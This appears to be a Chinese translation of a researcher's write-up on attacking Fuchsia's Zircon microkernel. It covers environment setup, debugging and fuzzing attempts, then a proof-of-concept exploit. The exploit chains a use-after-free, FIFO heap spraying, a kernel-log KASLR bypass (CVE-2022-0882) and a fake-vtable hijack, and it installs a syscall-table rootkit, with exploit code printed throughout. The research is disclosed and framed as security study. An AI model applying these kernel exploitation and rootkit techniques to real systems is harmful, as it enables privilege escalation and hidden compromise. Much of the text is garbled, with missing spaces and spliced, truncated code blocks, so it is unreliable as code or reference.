Fuchsia是一个通用的开源操作系统。谷歌在2016年左右开始了这个操作系统的开发。2020年12月,这个项目对来自公众的贡献者开放。2021年5月,谷歌正式发布了在NestHub设备上运行的Fuchsia。该操作系统支持arm64和x86-64。Fuchsia正在积极开发中,看起来很有活力,所以我决定在它身上做一些安全实验。
首先,Fuchsia没有用户的概念。相反,它是基于能力的。内核资源作为需要相应能力的对象公开给应用程序。其主要思想是,如果一个应用程序没有显式授予的能力,它就不能与一个对象进行交互。此外,在Fuchsia上运行的软件应该获得最少的能力来执行其工作。因此,我认为,Fuchsia中的本地权限升级(Localprivilegeescalation,LPE)的概念将不同于GNU/Linux系统中的概念,在GNU/Linux系统中,攻击者以非特权用户的身份执行代码,并利用一些漏洞来获得root权限。
第二个有趣的方面:Fuchsia是基于微内核的。这极大地应县了该操作系统的安全性。大量的功能都从Zircon微内核转移到了用户空间。这使得内核的攻击面更小。在Fuchsia文档中,可以看到Zircon仅实现了少数服务,与单片式操作系统内核不同。不过,Zircon并不追求最小化:它拥有超过170个系统调用,远远多于典型的微内核。
最后,Fuchsia在软件发布和升级方面有着非同一般的计划。Fuchsia的组件是由URL识别的,可以按需解决、下载和执行。这个设计方案的主要目标是使Fuchsia中的软件包永远是最新的,就像网页一样。
$./ffx-linux-x64platformpreflight
复制代码
它说不支持非Debian发行版。然而,我还没有经历过针对Fedora34的问题。该教程还提供了下载Fuchsia源代码和设置环境变量的说明。
以下命令建立了Fuchsia的workstationproduct与x86_64的开发者工具:
$fxclean$//bundles:tools$fxbuild
复制代码
构建完Fuchsia系统后,你可以在FEMU(Fuchsia模拟器)中启动它。FEMU基于安卓模拟器(AEMU),它是QEMU的一个分支。
$fxvdlstart-N
复制代码
让我们为Fuchsia创建一个“helloworld”的应用程序。正如我前面提到的,Fuchsia的应用程序和程序被称为组件。这个命令为一个新的组件创建一个模板。
$fxcreatecomponent--pathsrc/a13x-pwns-fuchsia--langcpp
复制代码
我希望这个组件将“hello”打印到Fuchsia日志:
meta/a13x_pwns_
复制代码
在这张截图中,我们看到Fuchsia通过URL解析了这个组件,下载并启动了它。然后,该组件将Hellofroma13x,Fuchsia!打印到第三个终端的Fuchsia日志中。
$,,obj/build/images/fuchsia/fuchsia/:Enteringdirectory`/home/a13x/develop/fuchsia/src/fuchsia/out/default'ninja::CouldnotextFVM,unabletostatFVMimageout/default/obj/build/images/fuchsia/fuchsia/
复制代码
我发现这个故障发生在具有非英语控制台语言的机器上。这个错误已经存在了很长时间了。我不知道为什么这个补丁还没有被合并。有了这个补丁,FuchsiaOS可以在QEMU/KVM虚拟机上成功启动。
diff--gita/tools/devshell/lib//tools/devshell/lib//tools/devshell/lib/+++b/tools/devshell/lib/@@-35,3+35,3@@functionfx-fvm-ext-image{fi-stat_output=$(stat"${stat_flags[@]}""${fvmimg}")+stat_output=$(LC_ALL=Cstat"${stat_flags[@]}""${fvmimg}")if[["$stat_output"=~Size:\([0-9]+)];then
复制代码
在QEMU/KVM中运行Fuchsia可以用GDB调试Zircon的微内核。让我们来看看这个动作。
用这个命令启动Fuchsia:
$fxqemu-N-s1--no-kvm---s
复制代码
参数-s1指定了这个虚拟机的虚拟CPU的数量。拥有一个虚拟CPU可以使调试体验更好。
如果你在调试过程中需要单步执行,--no-kvm参数很有用。否则KVM的中断会破坏工作流程,Fuchsia会在每个stepi或nextiGDB命令后进入中断处理程序。然而,在没有KVM虚拟化支持的情况下运行FuchsiaVM会慢很多。
命令末尾的-s参数在TCP1234端口上打开了一个gdbserver。
允许执行ZirconGDB脚本,该脚本提供以下内容:
GDB的KASLR重定位,这是正确设置断点所需要的。
带有zircon前缀的特殊GDB命令。
Zircon对象的漂亮打印机(目前还没有)。
增强了Zircon内核故障的解除器。
$cat~/.gdbinitadd-auto-load-safe-path/home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/
复制代码
启动GDB客户端并附加到FuchsiaVM的GDB服务器上:
$cd/home/a13x/develop/fuchsia/src/fuchsia/out/default/$gdbkernel_x64/(gdb)targetexted-remote:1234
复制代码
这个过程是为了使用GDB调试Zircon。
然而,在我的机器上,Zircon的GDB脚本在每次启动时都完全挂起,我不得不对这个脚本进行调试。我发现它调用了带有-readnow参数的add-symbol-fileGDB命令,这需要立即读取整个符号文件。由于某些原因,GDB无法在合理的时间内从110MB的Zircon二进制文件中读出符号。在我的机器上去掉这个选项就解决了这个问题,并允许正常的Zircon调试。
diff--gita/zircon/kernel/scripts//zircon/kernel/scripts/.8faf73ba19b100644---a/zircon/kernel/scripts/+++b/zircon/kernel/scripts/@@-798,3+798,3@@def_offset_symbols_and_breakpoints(kernel_relocated_base=None):00xffffffff00324b7dinplatform_specific_halt(platform_halt_action,zircon_crash_reason_t,bool)../../zircon/kernel/platform/pc/:154kernel+0$anon::PanicFinish()../../zircon/kernel/top/:59kernel+0xffffffff8010133e30xffffffff0038910dinasan_check(uintptr_t,size_t,bool,void*)../../zircon/kernel/lib/instrumentation/asan/:180kernel+0::__2::__atomic_baseint,true::fetch_add(std::__2::__atomic_baseint,true*,int,std::__2::memory_order)../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686kernel+0::RefPtrDispatcher::operator=(constfbl::RefPtrDispatcher,fbl::RefPtrDispatcher*)../../zircon/system/ulib/fbl/include/fbl/ref_:89kernel+0::GetDispatcherWithRightsTimerDispatcher(HandleTable*,zx_handle_t,zx_rights_t,fbl::RefPtrTimerDispatcher*,zx_rights_t*)../../zircon/kernel/object/include/object/handle_:108kernel+0xffffffff803d3f0250xffffffff003d3f02insys_timer_cancel(zx_handle_t)../../zircon/kernel/lib/syscalls/:67kernel+0_syscall(lambdaatgen/zircon/vdso/include/lib/syscalls/:1169:85)(uint64_t,uint64_t,bool(*)(uintptr_t),wrapper_timer_cancel::(anonclass))../../zircon/kernel/lib/syscalls/:106kernel+0xffffffff803e1ef170xffffffff005618e8ingen/zircon/vdso/include/lib/syscalls/:1103kernel+0xffffffff805618e8
复制代码
你可以看到wrapper_timer_cancel()系统调用处理程序调用了sys_timer_cancel(),其中
GetDispatcherWithRightsImplTimerDispatcher()与一个引用计数器一起工作,并执行了内存释放后使用。这个内存访问错误在asan_check()中被检测到,它调用了panic()。
这个回溯帮助我理解了sys_timer_cancel()函数的C++代码实际上是如何工作的。
//zx_status_tzx_timer_cancelzx_status_tsys_timer_cancel(zx_handle_thandle){autoup=ProcessDispatcher::GetCurrent();fbl::RefPtrTimerDispatchertimer;zx_status_tstatus=up-handle_table().GetDispatcherWithRights(handle,ZX_RIGHT_WRITE,timer);if(status!=ZX_OK)returnstatus;returntimer-Cancel();}
复制代码
在研究了Fuchsia内核开发工作流程的基础知识后,我决定开始安全研究。对于Fuchsia内核安全的实验,我需要一个Zirconbug来开发一个PoC漏洞。实现这一目标的最简单方法是模糊处理。
有一个伟大的覆盖率引导的内核模糊器,叫做syzkaller。我很喜欢这个项目和它的团队,我喜欢用它来对Linux内核进行模糊处理。syzkaller的文档说它支持对Fuchsia的模糊处理,所以我首先尝试了一下。
然而,由于Fuchsia上不寻常的软件交付,我遇到了麻烦,这是我前面描述过的。一个用于模糊测试的Fuchsia镜像必须包含syz-executor这个组件。syz-executor是syzkaller项目的一部分,负责在虚拟机上执行模糊测试的输入。但我没能用这个组件构建一个Fuchsia镜像。
首先,根据syzkaller文档,我尝试用外部的syzkaller源代码来构建Fuchsia:
$fx--dir"out/x64"\--with-base"//bundles:tools"\--with-base"//src/testing/fuzzing/syzkaller"\--args=syzkaller_dir='"/home/a13x/develop/gopath/src//google/syzkaller/"'ERRORat//build/go/go_:43:3(//build/toolchain:host_x64):(defined(),"sourcesisrequiredforgo_library")^-----sourcesisrequiredforgo_librarySee//src/testing/fuzzing/syzkaller/:106:3:_library("syzkaller-go"){^---------------------------See//src/testing/fuzzing/syzkaller/:85:5:whichcausedthefiletobeincluded.":run-sysgen($host_toolchain)",^-----------------------------ERROR:errorrunninggngen:exitstatus1
复制代码
看起来构建系统并没有正确处理syzkaller_dir参数。我试图删除这个断言并调试Fuchsia的构建系统,但我失败了。
然后我在Fuchsia源代码中发现了third_party/syzkaller/子目录。它包含了syzkaller源代码的一个本地拷贝,用于在没有--args=syzkaller_dir的情况下构建。但这是一个相当老的副本:最后一次提交是在2020年6月2日。用这个老版本的syzkaller构建当前的Fuchsia也失败了,因为Fuchsia的系统调用、头文件位置等有很多变化。
我又试了一次,更新了third_party/syzkaller/子目录下的syzkaller。但是构建没有成功,因为文件对于syzkaller来说需要根据syzkaller的变化进行大幅度地重写。
简而言之,也许Fuchsia与syzkaller的集成在2020年曾经工作过,但目前它已经损坏。我查看了Fuchsia的版本控制系统,找到了致力于这个功能的Fuchsia开发者。我给他们写了一封邮件,描述了这个bug的所有技术细节,但没有得到回复。
在Fuchsia构建系统上花费更多的时间,让我感到压力很大。
我反思了我的进一步研究的策略。如果不进行模糊处理,要成功发现操作系统内核中的漏洞需要:
对其代码库的良好了解;
对其攻击面的深刻认识。
获得Fuchsia的这些经验需要我花费大量的时间。我想在我的第一个Fuchsia研究上花费大量时间吗?也许不是,因为:
把大量的资源投入到对系统的第一次熟悉中是不合理的;
所以我专注于利用TimerDispatcher的免费使用。我的开发策略很简单:用受控数据覆盖释放的TimerDispatcher对象,使Zircon的定时器代码工作异常,或者说,将这段代码变成一个奇怪的机器。
首先,为了覆盖TimerDispatcher,我需要发现一个堆喷射(HeapSpraying)的利用原语,该原语是:
可以被攻击者从无特权的用户空间组件中使用;
让Zircon分配几个新的内核对象,使其中一个对象大概率地被放在被释放对象的位置上;
让Zircon把攻击者的数据从用户空间复制到这个新的内核对象中。
我从我的Linux内核经验中知道,堆喷射通常是利用进程间通信(IPC)构建的。根据第1段,基本的IPC系统调用通常对无特权的程序可用。根据第3段,它们将用户空间的数据复制到内核空间,以便将其传输给接收者。最后,根据第2段,一些IPC系统调用设置了传输的数据大小,这就给出了对内核分配器行为的控制,允许攻击者覆盖目标释放的对象。
这就是为什么我开始研究负责IPC的Zircon系统调用。我发现了ZirconFIFO,它被证明是一个很好的堆喷射原语。当zx_fifo_create()系统调用被调用时,Zircon创建了一对FifoDispatcher对象(见
zircon/kernel/object/fifo_中的代码)。它们中的每一个都为FIFO数据分配所需的内核内存。
autodata0=ktl::unique_ptruint8_t[](new(ac)uint8_t[count*elemsize]);if(!())returnZX_ERR_NO_MEMORY;KernelHandlefifo0(fbl::AdoptRef(new(ac)FifoDispatcher(ktl::move(holder0),options,static_castuint32_t(count),static_castuint32_t(elemsize),ktl::move(data0))));if(!())returnZX_ERR_NO_MEMORY;
复制代码
通过调试器,我确定释放的TimerDispatcher对象的大小是248字节。我假设,为了成功地进行堆喷射,我需要创建相同数据大小的ZirconFIFO。这个想法立即奏效:在GDB中,我看到Zircon用FifoDispatcher的数据覆盖了释放的TimerDispatcher!这就是我的PoC漏洞中的堆喷射的代码:
printf("[!]doheapspraying\n");hisbaseHasKERNEL_LOAD_OFFSETbakedintoit.}
复制代码
对于Fuchsia,我决定实现一个类似于我对Linux内核的KASLR绕过的技巧。我对CVE-2021-26708的PoC攻击使用了Linux内核日志来读取内核指针,以启动攻击。Fuchsia内核日志也包含安全敏感的信息。所以我尝试从我的非特权用户空间组件读取Zircon日志。我添加了use:[{protocol:""}]到组件清单中,用这段代码打开了日志:
zx::channellocal,remote;zx_status_tstatus=zx::channel::create(0,local,remote);if(status!=ZX_OK){fprintf(stderr,"Failedtocreatechannel:%d\n",status);return-1;}constcharkReadOnlyLogPath[]="/svc/"fuchsia_boot_ReadOnlyLog_Name;status=fdio_service_connect(kReadOnlyLogPath,());if(status!=ZX_OK){fprintf(stderr,"FailedtoconnecttoReadOnlyLog:%d\n",status);return-1;}zx_handle_th;status=fuchsia_boot_ReadOnlyLogGet((),h);if(status!=ZX_OK){fprintf(stderr,"ReadOnlyLogGetfailed:%d\n",status);return-1;}
复制代码
首先,这段代码创建了一个Fuchsia通道,将用于Fuchsia日志协议。然后,它为ReadOnlyLog调用fdio_service_connect(),并将通道传输附加到它上面。这些函数来自fdio库,它为各种Fuchsia资源提供了一个统一的接口:文件、套接字、服务和其他。执行这段代码会返回错误:
[ffx-laboratory:a13x_pwns_fuchsia]WARNING:Failedtorouteprotocol``withtargetcomponent`/core/ffx-laboratory:a13x_pwns_fuchsia`:A`usefromparent`declarationwasfoundat`/core/ffx-laboratory:a13x_pwns_fuchsia`for``,butnomatching`offer`declarationwasfoundintheparent[ffx-laboratory:a13x_pwns_fuchsia]INFO:[!]tryopeningkernellog[ffx-laboratory:a13x_pwns_fuchsia]INFO:ReadOnlyLogGetfailed:-24
复制代码
所以我放弃了从内核日志中泄露信息的想法。我开始浏览Fuchsia的源代码,等待另一种启示。突然间,我发现了另一种使用zx_debuglog_create()系统调用来访问Fuchsia内核日志的方法:
zx_status_tzx_debuglog_create(zx_handle_tresource,uint32_toptions,zx_handle_t*out);
复制代码
Fuchsia文档中指出,resource参数必须具有资源类ZX_RSRC_KIND_ROOT。我的Fuchsia组件并不拥有这种资源。总之,我试着用zx_debuglog_create()和……
zx_handle_troot_resource;//globalvarinitializedby0intmain(intargc,constchar**argv){zx_status_tstatus;zx_handle_tdebuglog;status=zx_debuglog_create(root_resource,ZX_LOG_FLAG_READABLE,debuglog);if(status!=ZX_OK){printf("[-]can'tcreatedebuglog,noway\n");return1;}
复制代码
这段代码成功了!我设法在没有所需功能和ZX_RSRC_KIND_ROOT资源的情况下读取了Zircon内核日志。但为什么呢?我很惊讶,发现Zircon代码负责处理这个系统调用。以下是我的发现:
zx_status_tsys_debuglog_create(zx_handle_trsrc,uint32_toptions,user_out_handle*out){LTRACEF("options0x%x\n",options);//TODO(/32044)(rsrc!=ZX_HANDLE_INVALID){//TODO(/30918):finergrainedvalidationzx_status_tstatus=validate_resource(rsrc,ZX_RSRC_KIND_ROOT);if(status!=ZX_OK)returnstatus;}
复制代码
Fuchsia的维护者批准了这个问题,并申请了CVE-2022-0882。
由于阅读Fuchsia的内核日志不再是一个问题,我从其中提取了一些内核指针来绕过ZirconKASLR。我第二次感到惊奇,又笑了起来。
在我的Linux内核防御图中,你可以看到SMAP在Linux内核中控制流劫持攻击的各种缓解措施中。我看到有多种方法可以通过在内核空间放置假vtable来绕过SMAP保护。
例如,Zircon也像Linux内核一样有physmap,这使得Zircon的ret2dir攻击的想法非常有希望。
另一个想法是使用某个内核地址的内核日志信息泄露,该地址指向攻击者控制的数据。
但为了简化我对Fuchsia的第一次安全实验,我决定在启动QEMU的脚本中禁用SMAP和SMEP,并在用户空间创建我的漏洞中的假vtable。
defineDATA_SZ512unsignedcharspray_data[DATA_SZ]={0};unsignedlong**vtable_ptr=(unsignedlong**)spray_data[0];//Control-flowhijackinginDownCastDispatcher()://movrax,QWORDPTR[r13+0x0]//movsxdr11,DWORDPTR[rax+0x8]//addr11,rax//movrdi,r13//call0xffffffff0031a77c__x86_indirect_thunk_r11*vtable_ptr=fake_vtable[0];//addressinraxfake_vtable[1]=(unsignedlong)pwn-(unsignedlong)*vtable_ptr;//valueforDWORDPTR[rax+0x8]
复制代码
这看起来很棘手,但不要害怕,你会喜欢它的!
这里spray_data数组存储了zx_fifo_write()覆盖TimerDispatcher的数据。vtable指针位于TimerDispatcher对象的开头,所以vtable_ptr被spray_data[0]的地址所初始化。然后fake_vtable全局数组的地址被写入spray_data的开头。这个地址将出现在DownCastDispatcher()的rax寄存器中,我在上面描述过。fake_vtable[1]元素(或DWORDPTR[rax+0x8])应该存储用于计算_type()方法的函数指针的值。为了计算这个值,我从我的pwn()函数的地址中减去假vtable的地址,我将用它来攻击Zircon内核。
这就是在执行漏洞时发生在地址上的魔法。真实的例子:
fake_vtable数组在0x35aa74aa020,pwn()函数在0x35aa74a80e0
fake_vtable[1]是0x35aa74a80e0-0x35aa74aa020=0xffffffffffffe0c0。在DownCastDispatcher()中,这个值出现在DWORDPTR[rax+0x8]中
在Zircon执行movsxdr11,DWORDPTR[rax+0x8]后,r11寄存器存储了0xffffffffffe0c0
将带有0x35aa74aa020的rax添加到r11,得到0x35aa74a80e0,这就是pwn()的确切地址
所以当Zircon调用__x86_indirect_thunk_r11时,控制流就会进入漏洞的pwn()函数。
由于知道Zircon是一个微内核,我意识到特权升级需要攻击通过微内核进行的进程间通信(IPC)。换句话说,我需要在Zircon中使用任意代码执行来劫持Fuchsia用户空间组件之间的IPC,例如,在我的非特权开发组件和一些特权实体(如组件管理器)之间。
我又回到了研究Fuchsia用户空间的过程中,这很混乱,也很无聊……但我突然有了一个想法:
文档中简要介绍了Fuchsia系统调用的生命周期。像Linux内核一样,Zircon也有一个系统调用表。在x86_64上,Zircon在
fuchsia/zircon/kernel/arch/x86/中定义了x86_syscall()函数,其代码如下(我去掉了注释):
cmp$ZX_SYS_COUNT,%__wrapper_table(%rip),%r11movq(%r11,%rax,8),%r11lfencejmp*%r11
复制代码
下面是这段代码在调试器中的样子:
0xffffffff00306fc8+56:cmprax,0xb00xffffffff00306fce+62:jae0xffffffff00306fe1x86_syscall+810xffffffff00306fd0+64:lear11,[rip+0xbda21]defineSYSCALL_TABLE0xffffffff003c49f8defineXSTR(A)STR(A)AdefineHOOK_CODE_SIZE60defineZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE0xffffffff003077c0voidprocess_create_hook(void){__asm__("push%rax;""push%rdi;""push%rsi;""push%rdx;""push%rcx;""push%r8;""push%r9;""push%r10;""xor%al,%al;""mov34;XSTR(ZIRCON_PRINTF)",%r11;""callq*%r11;""pop%r10;""pop%r9;""pop%r8;""pop%rcx;""pop%rdx;""pop%rsi;""pop%rdi;""pop%rax;""movdefineZIRCON_ASSERT_FAIL_MSG0xffffffff001012e0defineHOOK_CODE_SIZE60char*hook_addr=(char*)ZIRCON_ASSERT_FAIL_MSG;hook_addr[0]=0xc3;//rettoavoidasserthook_addr++;memcpy(hook_addr,(char*)process_create_hook+HOOK_CODE_OFFSET,HOOK_CODE_SIZE);hook_addr+=HOOK_CODE_SIZE;constchar*pwn_msg="ROOTKITHOOK:syscall102process_create()\n";strncpy(hook_addr,pwn_msg,strlen(pwn_msg)+1);defineSYSCALL_TABLE0xffffffff003c49f8unsignedlong*syscall_table_item=(unsignedlong*)SYSCALL_TABLE;syscall_table_item[SYSCALL_N_PROCESS_CREATE]=(unsignedlong)ZIRCON_ASSERT_FAIL_MSG+1;//afterretreturn42;//don'tpassthetypecheckinDownCastDispatcher
复制代码
hook_addr被初始化为assert_fail_msg()内核函数的地址。
这个函数的第一个字节被覆盖为0xc3,也就是ret指令。我这样做是为了跳过Zircon在断言上的崩溃;现在断言处理会立即返回。
该漏洞将我的rootkit钩子的代码复制到内核空间,用于zx_process_create()系统调用。我在上面描述了process_create_hook()。
这个漏洞复制了我想在每个zx_process_create()系统调用中打印的信息字符串。钩子将执行mov#34;XSTR(ZIRCON_ASSERT_FAIL_MSG+1+HOOK_CODE_SIZE)",%rdi,这个字符串的地址将进入rdi。现在你知道为什么我在这个地址上加了1个字节了吧:这是为了在assert_fail_msg()的开头增加ret指令。
钩子ZIRCON_ASSERT_FAIL_MSG+1的地址被写入系统调用表,项目编号102,这是为了zx_process_create()系统调用处理程序。
最后,pwn()漏洞函数返回42。正如我所提到的,Zircon使用我的假vtable并执行这个函数,而不是_type()方法。这个内核对象的原始get_type()方法返回16,以通过类型检查并继续处理。而在这里,我返回42,表示该检查失败,并完成了zx_timer_cancel()系统调用,该调用击中了内存释放后使用。
好了,现在rootkit已经被植入FuchsiaOS的Zircon微内核中了。
我为zx_process_exit()系统调用在assert_fail()内核函数的位置上实现了一个类似的rootkit钩。所以rootkit在进程创建和退出时将信息打印到内核日志中。请看该漏洞演示:
这就是我遇到FuchsiaOS及其Zircon微内核的原因。这项工作对我来说是一次全新的体验。自从我在温哥华举行的2018年Linux安全峰会上听说了这个有趣的操作系统,我想在这个操作系统上尝试我的内核黑客技术已经很久了。所以我很高兴这项研究。
在这篇文章中,我对FuchsiaOS、其安全架构和内核开发工作流程进行了概述。我从攻击者的角度评估了它,并分享了我对Zircon微内核的漏洞开发实验结果。对于本研究中发现的Fuchsia安全问题,我遵循了负责任的披露程序。
这是关于FuchsiaOS安全的首批公开研究之一。我相信这篇文章对操作系统安全社区很有帮助,因为它突出了微内核漏洞利用和防御的实际问题。我希望我的工作也能激发你做内核黑客的热情。谢谢你的阅读!
版权声明:本站所有作品(图文、音视频)均由用户自行上传分享,仅供网友学习交流,不声明或保证其内容的正确性,如发现本站有涉嫌抄袭侵权/违法违规的内容。请举报,一经查实,本站将立刻删除。